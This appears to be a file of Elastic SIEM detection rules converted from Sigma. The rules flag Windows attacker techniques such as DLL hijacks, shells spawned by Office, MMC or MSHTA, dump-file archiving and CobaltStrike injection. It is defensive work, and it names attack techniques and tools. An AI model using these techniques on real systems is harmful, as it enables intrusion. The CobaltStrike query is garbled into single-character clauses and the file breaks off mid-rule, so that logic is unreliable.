{"description": "Detects a suspicious winrar execution that involves a file with a .dmp extension, which could be a step in a process of dump file exfiltration", "enabled": false, "false_positives": ["Legitimate use of WinRAR with a command line in which .dmp appears incidentally"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "b717efd5-a8af-5d19-e396-186960f2b612", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Winrar Compressing Dump Files", "query": "((process.executable:(*\\\\rar.exe OR *\\\\winrar.exe) OR winlog.event_data.Description:\"Command\\ line\\ RAR\") AND process.command_line:*.dmp*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1560"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0009", "reference": "", "name": "Collection"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1560", "name": "Archive Collected Data", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects a Sysmon configuration change, which could be the result of a legitimate reconfiguration or someone trying manipulate the configuration", "enabled": false, "false_positives": ["Legitimate administrative action"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "40785e78-4449-68bb-24a7-54c4d5c0725f", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Sysmon Configuration Change", "query": "(winlog.channel:\"Microsoft\\-Windows\\-Sysmon\\/Operational\" AND winlog.event_id:\"16\")", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion"], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Detects a threat actor creating a file named `iertutil.dll` in the `C:\\Program Files\\Internet Explorer\\` directory over the network and loading it for a DCOM InternetExplorer DLL Hijack scenario.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "549f4170-e670-097a-1882-297c569be603", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "T1021 DCOM InternetExplorer.Application Iertutil DLL Hijack", "query": "(winlog.channel:\"Microsoft\\-Windows\\-Sysmon\\/Operational\" AND ((winlog.event_id:\"11\" AND process.executable.text:\"System\" AND file.path.text:*\\\\Internet\\ Explorer\\\\iertutil.dll) OR (winlog.event_id:\"7\" AND process.executable.text:*\\\\Internet\\ Explorer\\\\iexplore.exe AND winlog.event_data.ImageLoaded:*\\\\Internet\\ Explorer\\\\iertutil.dll)))", "meta": {"from": "1m"}, "severity": "critical", "tags": ["Lateral Movement", "T1021", "T1021"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0008", "reference": "", "name": "Lateral Movement"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1021", "name": "Remote Services", "reference": ""}, {"id": "T1021", "name": "Remote Services", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Roberto Rodriguez @Cyb3rWard0g", "Open Threat Research (OTR)", "wagga"], "license": ""}
{"description": "Detects a threat actor creating a file named `iertutil.dll` in the `C:\\Program Files\\Internet Explorer\\` directory over the network for a DCOM InternetExplorer DLL Hijack scenario.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "549f4170-e670-097a-1882-297c569be603", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "T1021 DCOM InternetExplorer.Application Iertutil DLL Hijack", "query": "(winlog.channel:\"Security\" AND (winlog.event_id:\"5145\" AND winlog.event_data.RelativeTargetName:*\\\\Internet\\ Explorer\\\\iertutil.dll) AND (NOT (winlog.event_data.SubjectUserName:*$)))", "meta": {"from": "1m"}, "severity": "critical", "tags": ["Lateral Movement", "T1021", "T1021"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0008", "reference": "", "name": "Lateral Movement"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1021", "name": "Remote Services", "reference": ""}, {"id": "T1021", "name": "Remote Services", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Roberto Rodriguez @Cyb3rWard0g", "Open Threat Research (OTR)"], "license": ""}
{"description": "Detects a threat actor creating a file named `wbemcomn.dll` in the `C:\\Windows\\System32\\wbem\\` directory over the network and loading it for a WMI DLL Hijack scenario.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "b21786cc-b989-5b21-edf6-1d764852e7de", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "Wmiprvse Wbemcomn DLL Hijack", "query": "(process.executable.text:\"System\" AND file.path.text:*\\\\wbem\\\\wbemcomn.dll)", "meta": {"from": "1m"}, "severity": "critical", "tags": ["Lateral Movement", "T1021", "T1047"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1047", "name": "Windows Management Instrumentation", "reference": ""}]}, {"tactic": {"id": "TA0008", "reference": "", "name": "Lateral Movement"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1021", "name": "Remote Services", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Roberto Rodriguez (Cyb3rWard0g)", "OTR (Open Threat Research)"], "license": ""}
{"description": "Detects a threat actor creating a file named `wbemcomn.dll` in the `C:\\Windows\\System32\\wbem\\` directory over the network and loading it for a WMI DLL Hijack scenario.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "b21786cc-b989-5b21-edf6-1d764852e7de", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Wmiprvse Wbemcomn DLL Hijack", "query": "(process.executable.text:*\\\\wmiprvse.exe AND dll.path:*\\\\wbem\\\\wbemcomn.dll)", "meta": {"from": "1m"}, "severity": "high", "tags": ["Lateral Movement", "T1021", "T1047"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1047", "name": "Windows Management Instrumentation", "reference": ""}]}, {"tactic": {"id": "TA0008", "reference": "", "name": "Lateral Movement"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1021", "name": "Remote Services", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Roberto Rodriguez (Cyb3rWard0g)", "OTR (Open Threat Research)"], "license": ""}
{"description": "Detects a threat actor creating a file named `wbemcomn.dll` in the `C:\\Windows\\System32\\wbem\\` directory over the network for a WMI DLL Hijack scenario.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "804165d0-9a27-faba-6255-f85d33cc634a", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "T1047 Wmiprvse Wbemcomn DLL Hijack", "query": "(winlog.channel:\"Security\" AND (Provider_Name:\"Microsoft\\-Windows\\-Security\\-Auditing\" AND winlog.event_id:\"5145\" AND winlog.event_data.RelativeTargetName:*\\\\wbem\\\\wbemcomn.dll) AND (NOT (winlog.event_data.SubjectUserName:*$)))", "meta": {"from": "1m"}, "severity": "critical", "tags": ["Lateral Movement", "T1021", "T1047"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1047", "name": "Windows Management Instrumentation", "reference": ""}]}, {"tactic": {"id": "TA0008", "reference": "", "name": "Lateral Movement"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1021", "name": "Remote Services", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Roberto Rodriguez @Cyb3rWard0g", "Open Threat Research (OTR)"], "license": ""}
{"description": "Detects a tscon.exe start as LOCAL SYSTEM", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "7af547b6-7d9b-6c9d-2ee2-3a4521296d43", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious TSCON Start as SYSTEM", "query": "(user.name:(NT\\ AUTHORITY\\\\SYSTEM* OR AUTORITE\\ NT\\\\Sys*) AND process.executable:*\\\\tscon.exe)", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1219"], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects a typical pattern of a CobaltStrike BOF which inject into other processes", "author": ["Christian Burkard"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "46a0b6b3-7989-c7ca-8fac-e4d12e4b0f52", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "CobaltStrike BOF Injection Pattern", "query": "((winlog.event_data.CallTrace:/^/ OR winlog.event_data.CallTrace:/C/ OR winlog.event_data.CallTrace:/:/ OR winlog.event_data.CallTrace:/\\/ OR winlog.event_data.CallTrace:/\\/ OR winlog.event_data.CallTrace:/W/ OR winlog.event_data.CallTrace:/i/ OR winlog.event_data.CallTrace:/n/ OR winlog.event_data.CallTrace:/d/ OR winlog.event_data.CallTrace:/o/ OR winlog.event_data.CallTrace:/w/ OR winlog.event_data.CallTrace:/s/ OR winlog.event_data.CallTrace:/\\/ OR winlog.event_data.CallTrace:/\\/ OR winlog.event_data.CallTrace:/S/ OR winlog.event_data.CallTrace:/Y/ OR winlog.event_data.CallTrace:/S/ OR winlog.event_data.CallTrace:/T/ OR winlog.event_data.CallTrace:/E/ OR winlog.event_data.CallTrace:/M/ OR winlog.event_data.CallTrace:/3/ OR winlog.event_data.CallTrace:/2/ OR winlog.event_data.CallTrace:/\\/ OR winlog.event_data.CallTrace:/\\/ OR winlog.event_data.CallTrace:/n/ OR winlog.event_data.CallTrace:/t/ OR winlog.event_data.CallTrace:/d/ OR winlog.event_data.CallTrace:/l/ OR winlog.event_data.CallTrace:/l/ OR winlog.event_data.CallTrace:/\\/ OR winlog.event_data.CallTrace:/./ OR winlog.event_data.CallTrace:/d/ OR winlog.event_data.CallTrace:/l/ OR winlog.event_data.CallTrace:/l/ OR winlog.event_data.CallTrace:/\\/ OR winlog.event_data.CallTrace:/+/ OR winlog.event_data.CallTrace:/[/ OR winlog.event_data.CallTrace:/a/ OR winlog.event_data.CallTrace:/-/ OR winlog.event_data.CallTrace:/z/ OR winlog.event_data.CallTrace:/0/ OR winlog.event_data.CallTrace:/-/ OR winlog.event_data.CallTrace:/9/ OR winlog.event_data.CallTrace:/]/ OR winlog.event_data.CallTrace:/{/ OR winlog.event_data.CallTrace:/4/ OR winlog.event_data.CallTrace:/,/ OR winlog.event_data.CallTrace:/6/ OR winlog.event_data.CallTrace:/}/ OR winlog.event_data.CallTrace:/\\/ OR winlog.event_data.CallTrace:/|/ OR winlog.event_data.CallTrace:/C/ OR winlog.event_data.CallTrace:/:/ OR winlog.event_data.CallTrace:/\\/ OR winlog.event_data.CallTrace:/\\/ OR winlog.event_data.CallTrace:/W/ OR winlog.event_data.CallTrace:/i/ OR winlog.event_data.CallTrace:/n/ OR winlog.event_data.CallTrace:/d/ OR winlog.event_data.CallTrace:/o/ OR winlog.event_data.CallTrace:/w/ OR winlog.event_data.CallTrace:/s/ OR winlog.event_data.CallTrace:/\\/ OR winlog.event_data.CallTrace:/\\/ OR winlog.event_data.CallTrace:/S/ OR winlog.event_data.CallTrace:/y/ OR winlog.event_data.CallTrace:/s/ OR winlog.event_data.CallTrace:/t/ OR winlog.event_data.CallTrace:/e/ OR winlog.event_data.CallTrace:/m/ OR winlog.event_data.CallTrace:/3/ OR winlog.event_data.CallTrace:/2/ OR winlog.event_data.CallTrace:/\\/ OR winlog.event_data.CallTrace:/\\/ OR winlog.event_data.CallTrace:/K/ OR winlog.event_data.CallTrace:/E/ OR winlog.event_data.CallTrace:/R/ OR winlog.event_data.CallTrace:/N/ OR winlog.event_data.CallTrace:/E/ OR winlog.event_data.CallTrace:/L/ OR winlog.event_data.CallTrace:/B/ OR winlog.event_data.CallTrace:/A/ OR winlog.event_data.CallTrace:/S/ OR winlog.event_data.CallTrace:/E/ OR winlog.event_data.CallTrace:/\\/ OR winlog.event_data.CallTrace:/./ OR winlog.event_data.CallTrace:/d/ OR winlog.event_data.CallTrace:/l/ OR winlog.event_data.CallTrace:/l/ OR winlog.event_data.CallTrace:/\\/ OR winlog.event_data.CallTrace:/+/ OR winlog.event_data.CallTrace:/[/ OR winlog.event_data.CallTrace:/a/ OR winlog.event_data.CallTrace:/-/ OR winlog.event_data.CallTrace:/z/ OR winlog.event_data.CallTrace:/0/ OR winlog.event_data.CallTrace:/-/ OR winlog.event_data.CallTrace:/9/ OR winlog.event_data.CallTrace:/]/ OR winlog.event_data.CallTrace:/{/ OR winlog.event_data.CallTrace:/4/ OR winlog.event_data.CallTrace:/,/ OR winlog.event_data.CallTrace:/6/ OR winlog.event_data.CallTrace:/}/ OR winlog.event_data.CallTrace:/\\/ OR winlog.event_data.CallTrace:/|/ OR winlog.event_data.CallTrace:/U/ OR winlog.event_data.CallTrace:/N/ OR winlog.event_data.CallTrace:/K/ OR winlog.event_data.CallTrace:/N/ OR winlog.event_data.CallTrace:/O/ OR winlog.event_data.CallTrace:/W/ OR winlog.event_data.CallTrace:/N/ OR winlog.event_data.CallTrace:/\\/ OR winlog.event_data.CallTrace:/(/ OR winlog.event_data.CallTrace:/[/ OR winlog.event_data.CallTrace:/A/ OR winlog.event_data.CallTrace:/-/ OR winlog.event_data.CallTrace:/Z/ OR winlog.event_data.CallTrace:/0/ OR winlog.event_data.CallTrace:/-/ OR winlog.event_data.CallTrace:/9/ OR winlog.event_data.CallTrace:/]/ OR winlog.event_data.CallTrace:/{/ OR winlog.event_data.CallTrace:/1/ OR winlog.event_data.CallTrace:/6/ OR winlog.event_data.CallTrace:/}/ OR winlog.event_data.CallTrace:/\\/ OR winlog.event_data.CallTrace:/)/ OR winlog.event_data.CallTrace:/$/) AND winlog.event_data.GrantedAccess:(\"0x1028\" OR \"0x1fffff\"))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1106", "T1562"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1106", "name": "Native API", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1562", "name": "Impair Defenses", "reference": ""}]}], "version": 1, "references": ["", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects a usage of the manage-bde.wsf script that may indicate an attempt of proxy execution from script", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "98890d07-9760-6298-dedb-e1872818b05e", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Suspicious Usage of the Manage-bde.wsf Script", "query": "(process.command_line.text:*cscript* AND process.command_line.text:*manage\\-bde.wsf*)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1216"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1216", "name": "System Script Proxy Execution", "reference": ""}]}], "version": 1, "references": ["", "", "", "", ""], "timestamp_override": "event.ingested", "author": ["oscd.community", "Natalia Shornikova"], "license": ""}
{"description": "Detects a user log-off activity. Could be used for example to correlate information during forensic investigations", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "1b6c23b0-903b-b785-1dc5-9597e75613b1", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "User Logoff Event", "query": "(winlog.channel:\"Security\" AND winlog.event_id:(\"4634\" OR \"4647\"))", "meta": {"from": "1m"}, "severity": "low", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Detects a when net.exe is called with a password in the command line", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "19bd856f-31da-1c25-eac8-09351bcad0d9", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Password Provided In Command Line Of Net.exe", "query": "((process.executable:\"C\\:\\\\Windows\\\\System32\\\\net.exe\" AND process.command_line:*net* AND process.command_line:*\\ use\\ * AND process.command_line:*\\:*\\\\\\* AND process.command_line:*\\/USER\\:*\\ *) AND (NOT ((process.command_line:*\\ ))))", "meta": {"from": "1m"}, "severity": "medium", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["Internal Research"], "timestamp_override": "event.ingested", "author": ["Tim Shelton (HAWK.IO)"], "license": ""}
{"description": "Detects a whoami.exe executed by LOCAL SYSTEM. This may be a sign of a successful local privilege escalation.", "enabled": false, "false_positives": ["Possible name overlap with NT AUHTORITY substring to cover all languages"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "f331fd13-c398-43c3-5483-999fb8b2ff06", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Run Whoami as SYSTEM", "query": "(user.name:(*AUTHORI* OR *AUTORI*) AND (winlog.event_data.OriginalFileName:\"whoami.exe\" OR process.executable:*\\\\whoami.exe))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Privilege Escalation", "T1033"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0007", "reference": "", "name": "Discovery"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1033", "name": "System Owner/User Discovery", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Teymur Kheirkhabarov", "Florian Roth"], "license": ""}
{"description": "Detects a whoami.exe executed by privileged accounts that are often misused by threat actors", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "95145ed4-77f1-2572-4d5d-7976f51f5fad", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Run Whoami as Privileged User", "query": "(user.name:*TrustedInstaller* AND (winlog.event_data.OriginalFileName:\"whoami.exe\" OR process.executable:*\\\\whoami.exe))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Privilege Escalation", "T1033"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0007", "reference": "", "name": "Discovery"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1033", "name": "System Owner/User Discovery", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects a whoami.exe executed with the /priv command line flag instructing the tool to show all current user privieleges. This is often used after a privilege escalation attempt.", "enabled": false, "false_positives": ["Administrative activity (rare lookups on current privileges)"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "399a07bb-104f-c8e0-b864-ee4a09660df8", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Run Whoami Showing Privileges", "query": "((process.executable:*\\\\whoami.exe OR winlog.event_data.OriginalFileName:\"whoami.exe\") AND process.command_line:*\\/priv*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["Privilege Escalation", "T1033"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0007", "reference": "", "name": "Discovery"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1033", "name": "System Owner/User Discovery", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects a Windows command and scripting interpreter executable started from Microsoft Outlook", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "97d0eda4-cc99-e900-927e-050e234ef017", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Microsoft Outlook Product Spawning Windows Shell", "query": "(process.parent.executable:*\\\\OUTLOOK.EXE AND process.executable:(*\\\\cmd.exe OR *\\\\powershell.exe OR *\\\\wscript.exe OR *\\\\cscript.exe OR *\\\\sh.exe OR *\\\\bash.exe OR *\\\\scrcons.exe OR *\\\\schtasks.exe OR *\\\\regsvr32.exe OR *\\\\hh.exe OR *\\\\wmic.exe OR *\\\\mshta.exe OR *\\\\msiexec.exe OR *\\\\forfiles.exe OR *\\\\scriptrunner.exe OR *\\\\mftrace.exe OR *\\\\AppVLP.exe OR *\\\\svchost.exe OR *\\\\msbuild.exe))", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1204"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1204", "name": "User Execution", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Michael Haag", "Florian Roth", "Markus Neis", "Elastic", "FPT.EagleEye Team"], "license": ""}
{"description": "Detects a Windows command and scripting interpreter executable started from Microsoft Word, Excel, Powerpoint, Publisher and Visio", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "34ad6713-bef4-b9e4-8a79-bf2d0c3a43b7", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Microsoft Office Product Spawning Windows Shell", "query": "(process.parent.executable:(*\\\\WINWORD.EXE OR *\\\\EXCEL.EXE OR *\\\\POWERPNT.exe OR *\\\\MSPUB.exe OR *\\\\VISIO.exe OR *\\\\MSACCESS.EXE OR *\\\\EQNEDT32.EXE) AND process.executable:(*\\\\cmd.exe OR *\\\\powershell.exe OR *\\\\pwsh.exe OR *\\\\wscript.exe OR *\\\\cscript.exe OR *\\\\sh.exe OR *\\\\bash.exe OR *\\\\scrcons.exe OR *\\\\schtasks.exe OR *\\\\regsvr32.exe OR *\\\\hh.exe OR *\\\\wmic.exe OR *\\\\mshta.exe OR *\\\\rundll32.exe OR *\\\\msiexec.exe OR *\\\\forfiles.exe OR *\\\\scriptrunner.exe OR *\\\\mftrace.exe OR *\\\\AppVLP.exe OR *\\\\svchost.exe OR *\\\\msbuild.exe))", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1204"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1204", "name": "User Execution", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Michael Haag", "Florian Roth", "Markus Neis", "Elastic", "FPT.EagleEye Team"], "license": ""}
{"description": "Detects a Windows command line executable started from MMC", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "1d492817-14d1-3ea9-0111-8d9dae799135", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "MMC Spawning Windows Shell", "query": "(process.parent.executable:*\\\\mmc.exe AND (process.executable:(*\\\\cmd.exe OR *\\\\powershell.exe OR *\\\\pwsh.exe OR *\\\\wscript.exe OR *\\\\cscript.exe OR *\\\\sh.exe OR *\\\\bash.exe OR *\\\\reg.exe OR *\\\\regsvr32.exe) OR process.executable:*\\\\BITSADMIN*))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Lateral Movement", "T1021"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0008", "reference": "", "name": "Lateral Movement"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1021", "name": "Remote Services", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Karneades", "Swisscom CSIRT"], "license": ""}
{"description": "Detects a Windows command line executable started from MSHTA", "enabled": false, "false_positives": ["Printer software / driver installations", "HP software"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "3f0082b9-5311-eee5-bfc2-1be68ae4124d", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "MSHTA Spawning Windows Shell", "query": "(process.parent.executable:*\\\\mshta.exe AND (process.executable:(*\\\\cmd.exe OR *\\\\powershell.exe OR *\\\\pwsh.exe OR *\\\\wscript.exe OR *\\\\cscript.exe OR *\\\\sh.exe OR *\\\\bash.exe OR *\\\\reg.exe OR *\\\\regsvr32.exe) OR process.executable:*\\\\BITSADMIN*))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1218"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1218", "name": "System Binary Proxy Execution", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Michael Haag"], "license": ""}
{"description": "Detects a Windows executable that writes files to suspicious folders", "author": ["Florian Roth"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "fdee8104-564c-c9d2-b747-f14c7478d37d", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Windows Shell File Write to Suspicious Folder", "query": "(((process.executable.text:(*\\\\cmd.exe OR *\\\\powershell.exe OR *\\\\pwsh.exe OR *\\\\wscript.exe OR *\\\\cscript.exe OR *\\\\sh.exe OR *\\\\bash.exe OR *\\\\msbuild.exe) AND file.path.text:(C\\:\\\\Users\\\\Public* OR C\\:\\\\PerfLogs*))) OR ((process.executable.text:(*\\\\schtasks.exe OR *\\\\wmic.exe OR *\\\\mshta.exe OR *\\\\forfiles.exe OR *\\\\scriptrunner.exe OR *\\\\certutil.exe) AND file.path.text:(*C\\:\\\\Users\\\\Public* OR *C\\:\\\\PerfLogs* OR *\\\\AppData\\\\* OR *C\\:\\\\Windows\\\\Temp*))))", "meta": {"from": "1m"}, "severity": "high", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["Internal Research"], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects a Windows executable that writes files to suspicious folders", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "fdee8104-564c-c9d2-b747-f14c7478d37d", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Windows Shell File Write to Suspicious Folder", "query": "((process.executable:(*\\\\cmd.exe OR *\\\\powershell.exe OR *\\\\pwsh.exe OR *\\\\wscript.exe OR *\\\\cscript.exe OR *\\\\sh.exe OR *\\\\bash.exe OR *\\\\msbuild.exe OR *\\\\certutil.exe) AND file.path:(*C\\:\\\\Users\\\\Public* OR *C\\:\\\\PerfLogs*)) OR (process.executable:(*\\\\schtasks.exe OR *\\\\wmic.exe OR *\\\\mshta.exe OR *\\\\forfiles.exe OR *\\\\scriptrunner.exe OR *\\\\certutil.exe) AND file.path:(*C\\:\\\\Users\\\\Public* OR *C\\:\\\\PerfLogs* OR *\\\\AppData\\\\* OR *C\\:\\\\Windows\\\\Temp*)))", "meta": {"from": "1m"}, "severity": "high", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["No references"], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects a Windows program executable started from a suspicious folder", "author": ["Florian Roth", "Patrick Bareiss", "Anton Kutepov", "oscd.community", "Nasreddine Bencherchali"], "enabled": false, "false_positives": ["Exotic software"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "648b6836-1fa2-5d13-a642-d91fa40615ae", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "System File Execution Location Anomaly", "query": "(process.executable.text:(*\\\\svchost.exe OR *\\\\rundll32.exe OR *\\\\services.exe OR *\\\\powershell.exe OR *\\\\powershell_ise.exe OR *\\\\pwsh.exe OR *\\\\regsvr32.exe OR *\\\\spoolsv.exe OR *\\\\lsass.exe OR *\\\\smss.exe OR *\\\\csrss.exe OR *\\\\conhost.exe OR *\\\\wininit.exe OR *\\\\lsm.exe OR *\\\\winlogon.exe OR *\\\\explorer.exe OR *\\\\taskhost.exe OR *\\\\Taskmgr.exe OR *\\\\sihost.exe OR *\\\\RuntimeBroker.exe OR *\\\\smartscreen.exe OR *\\\\dllhost.exe OR *\\\\audiodg.exe OR *\\\\wlanext.exe OR *\\\\dashost.exe OR *\\\\schtasks.exe OR *\\\\cscript.exe OR *\\\\wscript.exe OR *\\\\wsl.exe OR *\\\\bitsadmin.exe OR *\\\\atbroker.exe OR *\\\\bcdedit.exe OR *\\\\certutil.exe OR *\\\\certreq.exe OR *\\\\cmstp.exe OR *\\\\consent.exe OR *\\\\defrag.exe OR *\\\\dism.exe OR *\\\\dllhst3g.exe OR *\\\\eventvwr.exe OR *\\\\msiexec.exe OR *\\\\runonce.exe OR *\\\\winver.exe OR *\\\\logonui.exe OR *\\\\userinit.exe OR *\\\\dwm.exe OR *\\\\LsaIso.exe OR *\\\\ntoskrnl.exe OR *\\\\wsmprovhost.exe OR *\\\\dfrgui.exe) AND (NOT ((((process.executable.text:(C\\:\\\\Windows\\\\System32\\\\* OR C\\:\\\\Windows\\\\SysWOW64\\\\* 